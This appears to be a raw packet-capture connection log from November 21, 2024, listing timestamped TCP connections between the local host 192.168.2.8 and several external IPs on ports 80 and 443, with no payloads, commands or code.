Nov 21, 2024 19:59:02.768237114 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.768264055 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.768400908 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.769094944 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.769145012 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.769145012 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.769161940 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.769185066 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.769197941 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.769295931 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.769346952 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.770090103 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.770133018 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.770138979 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.770148039 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.770170927 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.770184994 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.770236969 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.770287991 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.771047115 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.771095037 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.771114111 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.771131039 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.771156073 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.771166086 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.771373987 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.771428108 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.772036076 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.772053003 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.772068977 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.772084951 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.772094965 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.772125006 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.772131920 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.772170067 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.773004055 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.773030043 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.773045063 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.773053885 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.773071051 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.773078918 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.773165941 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.773215055 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.903959036 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.903995991 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.904028893 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.904035091 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.904068947 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.904072046 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.904098988 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.904124022 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.904387951 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.904442072 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.904454947 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.904489994 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.904489994 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.904541969 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.951626062 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.951694965 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.951733112 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.951764107 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.951816082 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.951816082 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.951849937 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.951858997 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.951886892 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.951900959 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.951936007 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.952656031 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.952714920 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.952722073 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.952759027 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.952780962 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.952799082 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.952812910 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.952836037 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.953629017 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.953681946 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.953687906 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.953716040 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.953751087 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.953766108 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.953802109 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.954562902 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.954617977 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.954619884 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.954668045 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:02.954694986 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.954729080 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:02.983541965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:59:02.983767986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:59:03.084469080 CET	443	49832	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:03.084491014 CET	443	49832	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:03.084563017 CET	49832	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:03.084570885 CET	443	49832	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:03.084614038 CET	49832	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:03.087655067 CET	49832	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:03.087671995 CET	443	49832	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:03.093847990 CET	49833	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:03.093887091 CET	443	49833	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:03.093988895 CET	49833	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:03.094165087 CET	49833	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:03.094177961 CET	443	49833	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:03.162493944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:59:03.163034916 CET	49834	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:59:03.283524990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:59:03.284117937 CET	80	49834	185.215.113.206	192.168.2.8
Nov 21, 2024 19:59:03.284223080 CET	49834	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:59:03.284353018 CET	49834	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:59:03.407057047 CET	80	49834	185.215.113.206	192.168.2.8
Nov 21, 2024 19:59:04.339401960 CET	443	49833	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:04.339775085 CET	49833	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:04.339795113 CET	443	49833	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:04.340081930 CET	443	49833	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:04.340476990 CET	49833	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:04.340523005 CET	443	49833	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:04.340660095 CET	49833	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:04.381127119 CET	49833	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:04.381143093 CET	443	49833	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:04.788394928 CET	443	49833	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:04.788418055 CET	443	49833	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:04.788425922 CET	443	49833	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:04.788481951 CET	49833	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:04.788486004 CET	443	49833	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:04.788525105 CET	49833	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:05.177578926 CET	80	49834	185.215.113.206	192.168.2.8
Nov 21, 2024 19:59:05.177963018 CET	49834	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:59:05.346781969 CET	49833	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:05.346807003 CET	443	49833	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:05.356093884 CET	49835	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:05.356121063 CET	443	49835	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:05.356215000 CET	49835	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:05.358182907 CET	49835	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:05.358197927 CET	443	49835	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:06.621758938 CET	443	49835	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:06.666382074 CET	49835	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:06.680891037 CET	49835	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:06.680898905 CET	443	49835	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:06.681343079 CET	443	49835	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:06.682145119 CET	49835	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:06.682210922 CET	443	49835	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:06.682308912 CET	49835	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:06.722467899 CET	49835	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:06.723325968 CET	443	49835	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:07.081841946 CET	443	49835	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:07.081862926 CET	443	49835	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:07.081870079 CET	443	49835	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:07.081901073 CET	443	49835	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:07.081923962 CET	443	49835	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:07.081975937 CET	49835	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:07.099112988 CET	49835	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:07.099148989 CET	443	49835	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:07.124903917 CET	49836	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:07.124973059 CET	443	49836	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:07.125072002 CET	49836	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:07.132093906 CET	49836	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:07.132126093 CET	443	49836	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:08.025383949 CET	443	49797	104.70.121.26	192.168.2.8
Nov 21, 2024 19:59:08.025485992 CET	443	49797	104.70.121.26	192.168.2.8
Nov 21, 2024 19:59:08.025717020 CET	49797	443	192.168.2.8	104.70.121.26
Nov 21, 2024 19:59:08.353862047 CET	443	49836	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:08.388602972 CET	49836	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:08.388679981 CET	443	49836	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:08.389168024 CET	443	49836	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:08.414417982 CET	49836	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:08.414570093 CET	443	49836	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:08.414619923 CET	49836	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:08.414942026 CET	443	49800	104.70.121.26	192.168.2.8
Nov 21, 2024 19:59:08.415034056 CET	443	49800	104.70.121.26	192.168.2.8
Nov 21, 2024 19:59:08.415127993 CET	49800	443	192.168.2.8	104.70.121.26
Nov 21, 2024 19:59:08.459326029 CET	443	49836	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:08.596272945 CET	49836	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:08.801939964 CET	443	49836	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:08.801966906 CET	443	49836	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:08.801975012 CET	443	49836	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:08.802009106 CET	443	49836	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:08.802042007 CET	443	49836	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:08.802042007 CET	49836	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:08.802122116 CET	49836	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:08.802122116 CET	49836	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:08.940004110 CET	49836	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:08.940052986 CET	443	49836	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:08.954190016 CET	49800	443	192.168.2.8	104.70.121.26
Nov 21, 2024 19:59:08.954216957 CET	443	49800	104.70.121.26	192.168.2.8
Nov 21, 2024 19:59:08.954262972 CET	49797	443	192.168.2.8	104.70.121.26
Nov 21, 2024 19:59:08.954346895 CET	443	49797	104.70.121.26	192.168.2.8
Nov 21, 2024 19:59:08.954550028 CET	49837	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:08.954585075 CET	443	49837	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:08.954638004 CET	49837	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:08.954921007 CET	49837	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:08.954931974 CET	443	49837	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:09.935389996 CET	49838	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:59:09.935408115 CET	443	49838	4.245.163.56	192.168.2.8
Nov 21, 2024 19:59:09.935483932 CET	49838	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:59:09.935894012 CET	49838	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:59:09.935902119 CET	443	49838	4.245.163.56	192.168.2.8
Nov 21, 2024 19:59:10.179873943 CET	80	49834	185.215.113.206	192.168.2.8
Nov 21, 2024 19:59:10.180989027 CET	49834	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:59:10.203222990 CET	443	49837	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:10.222106934 CET	49837	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:10.222116947 CET	443	49837	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:10.222489119 CET	443	49837	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:10.231070995 CET	49837	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:10.231139898 CET	443	49837	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:10.231513023 CET	49837	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:10.279335022 CET	443	49837	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:10.642249107 CET	443	49837	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:10.642271996 CET	443	49837	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:10.642335892 CET	49837	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:10.642348051 CET	443	49837	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:10.642404079 CET	49837	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:10.839651108 CET	49837	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:10.839673996 CET	443	49837	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:11.376297951 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:11.376353979 CET	49834	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:59:11.827112913 CET	443	49838	4.245.163.56	192.168.2.8
Nov 21, 2024 19:59:11.827372074 CET	49838	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:59:11.832315922 CET	49838	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:59:11.832329035 CET	443	49838	4.245.163.56	192.168.2.8
Nov 21, 2024 19:59:11.832752943 CET	443	49838	4.245.163.56	192.168.2.8
Nov 21, 2024 19:59:11.848289967 CET	49838	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:59:11.891380072 CET	443	49838	4.245.163.56	192.168.2.8
Nov 21, 2024 19:59:11.989017010 CET	443	49817	104.70.121.146	192.168.2.8
Nov 21, 2024 19:59:11.989191055 CET	443	49817	104.70.121.146	192.168.2.8
Nov 21, 2024 19:59:11.989336014 CET	49817	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:59:12.369381905 CET	443	49818	104.70.121.146	192.168.2.8
Nov 21, 2024 19:59:12.369570017 CET	443	49818	104.70.121.146	192.168.2.8
Nov 21, 2024 19:59:12.369671106 CET	49818	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:59:12.559456110 CET	443	49838	4.245.163.56	192.168.2.8
Nov 21, 2024 19:59:12.559488058 CET	443	49838	4.245.163.56	192.168.2.8
Nov 21, 2024 19:59:12.559509993 CET	443	49838	4.245.163.56	192.168.2.8
Nov 21, 2024 19:59:12.559685946 CET	49838	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:59:12.559717894 CET	443	49838	4.245.163.56	192.168.2.8
Nov 21, 2024 19:59:12.559926033 CET	49838	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:59:12.600153923 CET	443	49838	4.245.163.56	192.168.2.8
Nov 21, 2024 19:59:12.600223064 CET	443	49838	4.245.163.56	192.168.2.8
Nov 21, 2024 19:59:12.600240946 CET	49838	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:59:12.600265026 CET	443	49838	4.245.163.56	192.168.2.8
Nov 21, 2024 19:59:12.600291967 CET	49838	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:59:12.600327969 CET	443	49838	4.245.163.56	192.168.2.8
Nov 21, 2024 19:59:12.600378036 CET	49838	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:59:12.601670027 CET	49838	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:59:12.601692915 CET	443	49838	4.245.163.56	192.168.2.8
Nov 21, 2024 19:59:12.601707935 CET	49838	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:59:12.601712942 CET	443	49838	4.245.163.56	192.168.2.8
Nov 21, 2024 19:59:26.374730110 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:26.374769926 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:26.374835968 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:26.375365973 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:26.375377893 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:28.260796070 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:28.261027098 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:28.262840033 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:28.262854099 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:28.263158083 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:28.274069071 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:28.319339991 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:28.765971899 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:28.766000986 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:28.766016006 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:28.766108036 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:28.766118050 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:28.766170979 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:28.950894117 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:28.950930119 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:28.950994968 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:28.951015949 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:28.951047897 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:28.951066971 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.004553080 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.004579067 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.004694939 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.004717112 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.004868031 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.138747931 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.138775110 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.138875961 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.138895988 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.138964891 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.172147036 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.172173977 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.172245026 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.172262907 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.172312021 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.189383030 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.189405918 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.189570904 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.189584017 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.189637899 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.209603071 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.209630966 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.209878922 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.209896088 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.209976912 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.332633972 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.332659006 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.332709074 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.332731962 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.332786083 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.332786083 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.348572016 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.348589897 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.348647118 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.348668098 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.348722935 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.364655018 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.364681005 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.364785910 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.364805937 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.364861965 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.378196001 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.378213882 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.378326893 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.378344059 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.378427982 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.393971920 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.394031048 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.394104004 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.394948959 CET	49839	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.394968987 CET	443	49839	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.426187992 CET	49840	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.426245928 CET	443	49840	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.426368952 CET	49840	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.426950932 CET	49841	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.427004099 CET	443	49841	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.427092075 CET	49841	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.428822041 CET	49842	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.428833961 CET	443	49842	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.428879976 CET	49842	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.429949999 CET	49843	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.429963112 CET	443	49843	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.430016041 CET	49843	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.430783987 CET	49844	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.430814981 CET	443	49844	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.430866003 CET	49844	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.431015968 CET	49843	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.431024075 CET	443	49843	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.431129932 CET	49840	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.431145906 CET	443	49840	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.431242943 CET	49844	443	192.168.2.8	13.107.246.63
